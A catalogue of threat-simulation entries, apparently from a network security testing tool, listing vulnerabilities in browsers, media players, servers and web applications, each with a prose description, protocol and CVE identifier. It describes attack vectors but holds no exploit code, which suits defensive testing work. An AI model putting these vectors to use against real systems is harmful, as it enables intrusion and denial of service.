Detailed Description:	A directory traversal vulnerability has been reported in Trend Micro Control Manager. This vulnerability is caused by improper sanitization of directory traversal characters(..) by importFile.php. A remote, unauthenticated attacker could exploit this vulnerability by uploading arbitrary files onto the vulnerable server. Successful exploitation results in arbitrary code execution under the security context the Trend Micro Control Manager user.
Protocol Type:	HTTPS,IPv6
Threat File Name:	firefox_historyfile_bof.xml
Executive Description:	Mozilla Firefox Large History File Buffer Overflow Vulnerability
Detailed Description:	This threat sends a malicious piece of javascript which will cause Mozilla Firefox and related browsers to crash upon opening due to a exceptionally large history file entry, unless the affected history.dat file is deleted or edited. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4134
Threat Package:	Standard
Threat File Name:	TSL20170202-11_WordPress_REST_API_Posts_Controller_Privilege_Escalation.xml
Executive Description:	WordPress REST API Posts Controller Privilege Escalation
Detailed Description:	A privilege escalation vulnerability exists in WordPress. The vulnerability is due to improper handling of post id's within the REST API posts controller. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to a vulnerable WordPress website. Successful exploitation of this vulnerability could lead to arbitrary modification of WordPress post content.
Protocol Type:	HTTP, HTTPS
Threat File Name:	FSC20090908-09_Microsoft_Windows_Media_ASF_Header_Parsing_Invalid_Free.xml
Executive Description:	Microsoft Windows Media ASF Header Parsing Invalid Free
Detailed Description:	A vulnerability exists in Microsoft Windows Media Format that could allow remote code execution. The vulnerability is due to the way that Microsoft Windows handles specially crafted ASF format files. A remote attacker can exploit this vulnerability by enticing the target to open a malicious media file. In the case of successful code injection and execution, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be executed with the privileges of the currently user. In the case where code execution is not successful, the application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2498
Threat Package:	Standard
Threat File Name:	FSC20100420-01_RealNetworks_Helix_Server_NTLM_Authentication_Heap_Overflow.xml
Executive Description:	RealNetworks Helix Server NTLM Authentication Heap Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in RealNetworks Helix Server products. The flaw is due to an error when handling Base64-encoded NTLM Authentication data. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted request to the target server. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process. Code injection that does not result in execution could terminate the application due to memory corruption, and could result in a Denial of Service condition.
Protocol Type:	HTTP
CVEID:	CVE-2010-1317
Threat Package:	Standard
Threat File Name:	TSL20170111-01_GnuTLS_Proxy_Certificate_Information_Extension_Memory_Corruption.xml
Executive Description:	GnuTLS Proxy Certificate Information Extension Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in the GnuTLS library. The vulnerability is due to improper handling of the Proxy Certificate Information extension in X.509 certificates. A remote attacker can exploit this vulnerability in GnuTLS by sending a crafted X.509 certificate to a target application. Successful exploitation could result in arbitrary code execution in the context of the target application.
Protocol Type:	SSL,TLS,HTTPS,POP3S,IMAPS,LDAPS,SMTP,SMTPS
CVEID:	CVE-2017-5334
Threat File Name:	TSL20110404-04_IBM_Tivoli_Directory_Server_ibmslapd_exe_Integer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Directory Server ibmslapd.exe Integer Overflow(IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in IBM Tivoli Directory Server (TDS). The vulnerability is due to lack of input validation on LDAP CRAM-MD5 packets sent to the affected service. A crafted packet can trigger a buffer overrun that can be leveraged to inject and execute arbitrary code by the attackers. A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted LDAP packet to the affected server. Successful exploitation allows the attacker to execute arbitrary code on the server with the privileges of the SYSTEM user.
Protocol Type:	IPV6,LDAP
CVEID:	CVE-2011-1206
Threat File Name:	TSL20120410-06_Microsoft_Internet_Explorer_VML_Use-after-free_IPv6.xml
Executive Description:	Microsoft Internet Explorer VML Use-after-free(IPV6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer. The vulnerability is due to the attempted use of an object after it has been deleted. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-0172
Threat File Name:	FSC20080403-11_Apple_QuickTime_crgn_Atom_Parsing_Memory_Corruption.xml
Executive Description:	Apple QuickTime crgn Atom Parsing Memory Corruption

Detailed Description:	There exists a memory corruption vulnerability in Apple QuickTime application. The vulnerability is due to improper checking of region size field of the crgn atom. A remote attacker may exploit this vulnerability by providing a malicious QuickTime movie file to the target user, cause abnormal termination of the application or potentially allow arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-1017
Threat Package:	Standard
Threat File Name:	TSL20130605-12_Apache_Struts_Wildcard_Matching_OGNL_Code_Execution_IPv6.xml
Executive Description:	Apache Struts Wildcard Matching OGNL Code Execution [IPv6, Version]
Detailed Description:	A code execution vulnerability exists in Apache Struts Object-Graph Navigation Language (OGNL) expressions. The vulnerability is due to the way action names passed via Wildcard Matching to the server are evaluated by OGNL and allows arbitrary OGNL expressions encoded in a URI to be evaluated bypassing both Struts and OGNL library protections. A remote attacker could exploit this vulnerability by sending crafted HTTP requests to a server using a vulnerable version of the software. Successful exploitation will allow an attacker to execute arbitrary OGNL code in the context of the server.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-2135
OSVDB:	93969
Threat File Name:	webnews_cookie_inject_IPv6.xml
Executive Description:	Stylemotion WEB//NEWS SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a malicious cookie along with a web request. This allows the attacker to log on with administrator privileges by bypassing the authentication code. This can allow the attacker to modify the web application content in ways he is unauthorized to. WEB//NEWS is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2896
OSVDB:	19230
Threat Package:	Standard
Threat File Name:	quicktime_rtsp_bof_IPv6.xml
Executive Description:	Apple Quicktime RTSP URL Handler Buffer Overflow (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a Quicktime video stream, and the server replying with a maliciously constructed qtl file. This file will cause a buffer overflow in the Quicktime player by a vulnerability in the RTSP URL handler. The transport of the qtl file is done via HTTP, which generally runs on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0015
Threat Package:	Standard
Threat File Name:	FSC20071009-16_Microsoft_Windows_Kodak_Image_Viewer_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Kodak Image Viewer Code Execution (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows Kodak Image Viewer. The vulnerability is due to improper parsing of specially crafted image files, such as TIFF files. An attacker can exploit the vulnerability by constructing a specially crafted image and enticing a victim to open the malicious image with an affected version of product. Successful exploitation of this vulnerability would result in arbitrary code execution in the context of the logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2217
Threat Package:	Standard
Threat File Name:	nimdall.xml
Executive Description:	Nimda Request URL 11
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	imail_bof_imap_list.xml
Executive Description:	Ipswitch IMail IMAP List Command DoS Vulnerability
Detailed Description:	This threat sends a crafted IMAP 'LIST' command causing stack corruption. IMAP is an application that typically listens on port 80.
Protocol Type:	IMAP
CVEID:	CVE-2005-2923
OSVDB:	21499
Threat File Name:	ecelflood_IPv6.xml
Executive Description:	TCP ECE Flood (IPv6 Version)
Detailed Description:	This threat floods a user specified target with TCP packets from randomized, spoofed addresses, where the ECE flag has been turned on. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2001-0183
OSVDB:	1743
Threat Package:	Standard
Threat File Name:	FSC20090610-06_Adobe_Acrobat_and_Adobe_Reader_U3D_RHAdobeMeta_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat and Adobe Reader U3D RHAdobeMeta Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to the way of Adobe Acrobat and Adobe Reader handle U3D data. A remote attacker can exploit this vulnerability by enticing the target user to open malicious PDF files. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1855
Threat Package:	Standard
Threat File Name:	TSL20120405-04_Netop_Remote_Control_dws_File_Stack_Buffer_Overflow.xml
Executive Description:	Netop Remote Control dws File Stack Buffer Overflow
Detailed Description:	A stack buffer overflow has been identified in Netop Remote Control. The vulnerability is due to insufficient bounds checking when handling a command string while reading .dws files. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a crafted Netop Remote Control script file containing a malicious command string. Successful exploitation of this vulnerability would allow arbitrary code execution in the security context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
OSVDB:	72291
Threat File Name:	dlink_http_syslog_dos.xml
Executive Description:	D-Link syslog.HTM Denial of Service
Detailed Description:	This threat sends a long HTTP request. This HTTP request is known to cause certain D-Link equipment to crash.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090202-08_Novell_Groupwise_Internet_Agent_RCPT_Command_Buffer_Overflow_IPv6.xml
Executive Description:	Novell Groupwise Internet Agent RCPT Command Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in the Novell GroupWise. The vulnerability is due to a boundary error while processing specially crafted SMTP request. Remote attackers can exploit this vulnerability to execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with the security privileges of the server. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Standard
Threat File Name:	firefoxMemDump.xml
Executive Description:	Firefox Arbitrary Memory Read
Detailed Description:	This threat reads arbitrary memory from a user's web browser. Can be used to steal sensitive authentication data to launch further attacks. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0989
OSVDB:	15682
Threat Package:	Standard
Threat File Name:	TSL20131008-26_Microsoft_Internet_Explorer_HtmlLayout_SmartObject_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer HtmlLayout SmartObject Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way HtmlLayout::SmartObject objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-3873
OSVDB:	98201
Threat File Name:	nbSMTP_fmt.xml
Executive Description:	nbSMTP Format String Overflow
Detailed Description:	This threat sends a malicious message from one SMTP server to another. This malicious message is a format string attack that attacks the logging functionality of the no-brainer SMTP server. This threat is a client attack that comes from the virtual server. SMTP typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-2409
OSVDB:	18478
Threat Package:	Standard
Threat File Name:	nmapNetmask_IPv6.xml
Executive Description:	nmap ICMP Netmask Request Probe (IPv6 Version)
Detailed Description:	This threat mimics the ICMP netmask request packet that nmap sends in an attempt to determine if a host is up or not for further portscanning. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	TSL20110826-04_Apple_CUPS_gif_read_lzw_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Apple CUPS gif_read_lzw Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow exists in Common Unix Printing System (CUPS). The vulnerability exists in the gif_read_lzw function when handling compressed GIF images. A remote attacker can exploit this vulnerability by sending a specially crafted GIF image to a vulnerable service. Authentication may be required, depending on server configuration. Successful exploitation could result in arbitrary code executions with the privileges of the affected service.
Protocol Type:	IPV6,IPP,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-3170
Threat File Name:	FSC20080812-24_Microsoft_PowerPoint_Viewer_Drawing_Shape_Integer_Overflow.xml
Executive Description:	Microsoft PowerPoint Viewer Drawing Shape Integer Overflow

Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint Viewer. The vulnerability is due to a memory allocation error while handling malformed picture index in a PowerPoint file. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious PowerPoint file, potentially causing arbitrary code to be executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0121
Threat Package:	Standard
Threat File Name:	ciscoMalSNMP2_IPv6.xml
Executive Description:	Cisco IOS Solicited SNMP Message Crash (IPv6 Version)
Detailed Description:	This threat fires a solicited SNMP message to port 162 of the target machine. This will cause a crash/reboot in older versions of Cisco IOS. (IPv6 Version)
Protocol Type:	SNMP/IPv6
CVEID:	CVE-2004-0714
OSVDB:	5575
Threat Package:	Standard
Threat File Name:	TSL20150811-45_Microsoft_Internet_Explorer_CVE_2015_2444_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2444 Use After Free IPv6 version.
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to errors while handling certain objects when processing HTML and script code. A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-2444
Threat File Name:	snort_sack_dos.xml
Executive Description:	Snort TCP SACK Option Denial Of Service
Detailed Description:	By sending a badly formed TCP SACK Option in a packet, it is possible to cause Snort in certain circumstances to crash. Typically this will occur when verbose mode is turned on with the -v switch.
Protocol Type:	TCP
OSVDB:	19346
Threat Package:	Standard
Threat File Name:	FSC20090330-03_Sun_Java_Web_Start_Splashscreen_GIF_Processing_Buffer_Overflow.xml
Executive Description:	Sun Java Web Start Splashscreen GIF Processing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Sun Microsystems' Java Web Start (JWS). The flaw is due to a boundary error when displaying a customized splash screen GIF image. A remote attacker may exploit this vulnerability by enticing the target user to visit a malicious web page. Successful attack may allow for arbitrary code injection and execution with privileges of the target user. In an attack case where code injection is not successful, the Java Web Start application will terminate unexpectedly. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. In such a case, the injected code will be executed within the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1097
Threat Package:	Standard
Threat File Name:	TSL20120710-02_Microsoft_Internet_Explorer_Loop_Counter_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Loop Counter Memory Corruption(IPv6)
Detailed Description:	A vulnerability exists Microsoft Internet Explorer, which can allow an attacker to corrupt memory. The vulnerability is due to an error in the way Internet Explorer accesses certain objects. A remote attacker can exploit this vulnerability by enticing a user to view a specially crafted web page or embed an ActiveX control marked "safe for initialization" in an application or Microsoft Office document that hosts the IE rendering engine. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-1522
OSVDB:	83653
Threat File Name:	TSL20140925-02_Mozilla_Network_Security_Services_RSA_Signature_Forgery_IPv6.xml
Executive Description:	Mozilla Network Security Services RSA Signature Forgery IPv6 version
Detailed Description:	An RSA signature forgery vulnerability exists in Mozilla Network Security Services (NSS), the cryptographic library used in many applications including Firefox and Google Chrome. The vulnerability is a result of improper verification of RSA signatures due to incorrect ASN.1 parsing of the DigestInfo structure. A remote attacker could exploit this vulnerability by providing a forged certificate e.g. for a legitimate website. Successful exploitation would result in successful verification of the forged certificate, which could lead to information disclosure, spoofing and policy bypass. Tester should set variable \$destPort 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS/SIPS.IPV6
CVEID:	CVE-2014-1568
OSVDB:	112036
Threat File Name:	TSL20140411-09_Advantech_WebAccess_SCADA_webvact_ocx_NodeName_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess SCADA webvact.ocx NodeName Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow exists in Advantech's WebAccess SCADA software. This is due to insufficient input validation on the NodeName parameter of the webvact.ocx ActiveX control, a part of the WebAccess Client. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0764
OSVDB:	105573
Threat File Name:	avaxswf_activex_overwrt_IPv6.xml
Executive Description:	Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Avax Vector software ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3459
Threat Package:	Standard
Threat File Name:	TSL20131016-20_HP_Intelligent_Management_Center_BIMS_bimsDownload_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center BIMS bimsDownload Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in the BIMS add-in module of HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the bimsDownload servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-4823
OSVDB:	98248
Threat File Name:	easy-content_sqli.xml
Executive Description:	Easy-Content Forums 1.0 SQL Injection
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing HTML or Javascript. Easy-Content Forums is a web application that typically listens on port 80."
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	safari_rowspan_IPv6.xml
Executive Description:	Safari Malformed Page Crash (IPv6 Version)
Detailed Description:	This threat sends a malformed HTML page containing a large rowspan element for a table element that will cause a crash on the Safari web browser. Before the crash, Safari will cause the system to become unusable for 10 minutes. This is a client side attack that comes from a malicious web server. Web servers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	x86NOOPtcp6.xml
Executive Description:	TCP x86 NOOP Packet Variant 6
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP siled in it. A NOOP siled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20060519-06_Apple_QuickTime_BMP_File_Handling_Heap_Overflow_IPv6.xml
Executive Description:	Apple QuickTime BMP File Handling Heap Overflow (IPv6 Version)
Detailed Description:	There exists a heap-based buffer overflow vulnerability in various Apple QuickTime products. The flaw is caused by a boundary error within the component responsible for processing BMP images. An attacker may exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2238
Threat Package:	Standard
Threat File Name:	TSL20131212-07_EM_CMCNE_inmservlets_war_BootFileUploadMoreInfoServlet_Directory_Traversal_IPv6.xml
Executive Description:	EMC CMCNE inmservlets.war BootFileUploadMoreInfoServlet Directory Traversal(IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the BootFileUploadMoreInfoServlet servlet of inmservlets.war when processing HTTP requests. A remote unauthenticated attacker can copy any files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-6810
OSVDB:	100899
Threat File Name:	FSC20090210-14_Microsoft_Internet_Explorer_CSS_Processing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CSS Processing Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles Cascading Style Sheets (CSS). Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0076
Threat Package:	Standard
Threat File Name:	ned_proxy_IPv6.xml
Executive Description:	Nokia Electronic Documentation Open Proxy (IPv6 Version)
Detailed Description:	This threat attempts to open another website through the Nokia Electronic Documentation server by taking advantage of an open proxy ability in the code. This is done through a specially crafted HTTP GET request. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0803
OSVDB:	3485
Threat Package:	Standard

Threat File Name:	TSL20151230-02_Unitronics_VisiLogic_OPLC_TeeChart_ActiveX_RemoveSeries_Out_of_Bounds_Array_Indexing.xml
Executive Description:	Unitronics VisiLogic OPLC TeeChart ActiveX RemoveSeries Out of Bounds Array Indexing
Detailed Description:	An out of bounds array indexing vulnerability exists in Unitronics VisiLogic OPLC. The vulnerability is due to use of user supplied value to calculate array index in the <italic>RemoveSeries method of the TeeChart.TChart ActiveX control. A remote attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTPS,HTTP
CVEID:	CVE-2015-6478
Threat File Name:	cyberfolio_rfi_IPv6.xml
Executive Description:	Cyberfolio <=2.0 RC1 \$av Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Cyberfolio is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5768
Threat Package:	Standard
Threat File Name:	bitcomet_bof_IPv6.xml
Executive Description:	BitComet Client .torrent URI Handling Overflow (IPv6 Version)
Detailed Description:	This threat downloads a malicious bittorrent file which exploits a URI handling flaw in the BitComet BitTorrent client. This threat is download via HTTP which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0339
OSVDB:	22625
Threat File Name:	FSC20080117-04_Citrix_Systems_Multiple_Products_IMA_Service_Buffer_Overflow.xml
Executive Description:	Citrix Systems Multiple Products IMA Service Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Independent Management Architecture (IMA) service in Citrix products. The flaw is due to improper handling of user supplied data sent the the Citrix Presentation Server. This issue can be exploited by an unauthenticated attacker to execute arbitrary code with the privileges of Citrix Presentation Server service, which is System by default.
Protocol Type:	Citrix
CVEID:	CVE-2008-0356
Threat Package:	Standard
Threat File Name:	pdf_doc_catalog_vuln.xml
Executive Description:	PDF Document Catalog Handling Vulnerability
Detailed Description:	This threat simulates a client requesting a document, and the server replying with a maliciously constructed PDF file. This file will trigger various vulnerabilities in multiple PDF reader programs, including memory corruption, memory leaks, and denial of service. The transport of the PDF file is done via HTTP, which generally runs on port 80..
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060411-20_Microsoft_Outlook_Express_Windows_Address_Book_File_Vulnerability_IPv6.xml
Executive Description:	Microsoft Outlook Express Windows Address Book File Vulnerability (IPv6 Version)
Detailed Description:	A vulnerability has been discovered in the way Microsoft Outlook Express parses malformed Windows Address Book (.wab) files. An attacker may exploit this vulnerability by enticing a user to open a crafted address book file. A successful attack can lead to the injection and execution of arbitrary code within the security context of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0014
Threat Package:	Standard
Threat File Name:	FSC20100330-19_Apple_QuickTime_FlashPix_Movie_File_Integer_Overflow.xml
Executive Description:	Apple QuickTime FlashPix Movie File Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to an error when handling FlashPix encoded movie files. This vulnerability may be exploited by remote attackers by enticing a user to view specially crafted FlashPix files. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of the currently logged in user. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0519
Threat Package:	Standard
Threat File Name:	javaprxy.xml
Executive Description:	Javaprxy.dll Heap Overflow
Detailed Description:	This threat causes Internet Explorer to bind a shell. This is caused by a flaw in the javaprxy.dll COM object which comes with certain releases of Microsoft Windows. This attack comes from the web server, and typically occurs over port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2087
OSVDB:	17680
Threat Package:	Standard
Threat File Name:	TSL20111103-04_Microsoft_Excel_Substream_Parsing_Integer_Overflow.xml
Executive Description:	Microsoft Excel Substream Parsing Integer Overflow
Detailed Description:	An integer overflow vulnerability has been discovered in Microsoft Excel. The vulnerability is due to a failure in the code processing 0xA7 and 0x3C-type records in 0x400-type substreams of BIFF files. The program fails to verify a user-supplied value before copying data into a stack buffer. An attacker can exploit this vulnerability by enticing a user to open a specially crafted Excel file. Successful exploitation would allow execution of arbitrary code on the target user's system with the privileges of the user running the vulnerable application. If the attack fails, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,SMTP
CVEID:	CVE-2011-3157

Threat File Name:	ipv6_land.xml
Executive Description:	IPv6 Land Attack
Detailed Description:	This threat sends a spoofed TCP SYN IPv6 packet with the same source and destination IP and port. This causes the target machine to potentially respond in an undesirable way. Microsoft patched this in MS05-019.
Protocol Type:	TCP
CVEID:	CVE-2005-1649
OSVDB:	14578
Threat Package:	Standard
Threat File Name:	TSL20170111-15_Adobe_Acrobat_ImageConversion_JPEG_Out-of-Bounds_Read_IPv6.xml
Executive Description:	Adobe Acrobat ImageConversion JPEG Out-of-Bounds Read (IPv6 Version)
Detailed Description:	An out-of-bounds read vulnerability has been found in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper validation user-supplied data which can result in out-of-bounds access when processing a JPEG image file. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted file. Successful exploitation could result in disclosure of information which could be used to further compromise the target system.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2017-2960
Threat File Name:	flexphpnews_sqli_IPv6.xml
Executive Description:	Flexphpnews 0.0.5 (news.php newsid) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. Flexphpnews is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sipunknownauth_IPv6.xml
Executive Description:	SIPPING: Unknown Auth Scheme (IPv6 Version)
Detailed Description:	This threat sends out a SIP REGISTER message with an unknown authorization scheme. This is technically valid but because it is unexpected it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	efiction_sqli_b_IPv6.xml
Executive Description:	eFiction viewuser.php SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query that is executed by the server. eFiction is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4170
OSVDB:	21120
Threat File Name:	FSC20070213-15_Microsoft_Internet_Explorer_COM_Object_Instantiation_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The flaw is due to improper handling of certain COM objects that are not designed to work with Internet Explorer. By persuading a user to visit a malicious web site, a remote attacker may execute arbitrary code on the target system with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4697
Threat Package:	Standard
Threat File Name:	FSC20110208-46_Adobe_Shockwave_Player_Director_File_FFFFFFFF88_Record_Parsing_Remote_Code_Execution_IPv6.xml
Executive Description:	Adobe Shockwave Player Director File FFFFFFFF88 Record Parsing Remote Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave player. The vulnerability is due to an integer overflow error while calculating the size value for heap memory allocation while parsing a FFFFFFFF88 record. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DIR file using a vulnerable version of the product. Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,SMTP
CVEID:	CVE-2010-4192
Threat File Name:	TSL20140211-17_Microsoft_XML_Core_Services_MSXML_Information_Disclosure.xml
Executive Description:	Microsoft XML Core Services MSXML Information Disclosure
